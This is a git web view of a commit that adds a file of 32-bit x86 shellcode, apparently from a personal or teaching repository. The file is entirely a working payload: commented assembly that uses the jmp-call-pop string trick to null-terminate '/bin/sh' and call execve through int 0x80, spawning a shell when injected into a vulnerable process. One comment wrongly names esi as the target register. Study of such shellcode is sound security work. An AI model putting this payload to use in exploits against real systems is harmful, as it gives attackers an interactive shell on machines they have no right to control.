aboutsummaryrefslogtreecommitdiff
path: root/shellcode/execve.asm
diff options
context:
space:
mode:
Diffstat (limited to 'shellcode/execve.asm')
-rw-r--r--shellcode/execve.asm20
1 files changed, 20 insertions, 0 deletions
diff --git a/shellcode/execve.asm b/shellcode/execve.asm
new file mode 100644
index 0000000..92f6de6
--- /dev/null
+++ b/shellcode/execve.asm
@@ -0,0 +1,20 @@
+BITS 32
+
+
+; zero out registers
+xor eax,eax
+xor ebx,ebx
+xor ecx,ecx
+cdq ; convert dword in eax to qword in edx
+; do the 'string trick'
+jmp short string
+
+code:
+pop ebx ; pop the addr of the string intro esi (stack pointer register)
+mov byte [ebx + 7], al ; null-terminate the string
+mov al,0xb ; syscall number 0xb (11) is execve
+int 0x80 ; let the kernel do the stuff
+
+string:
+call code
+db '/bin/sh'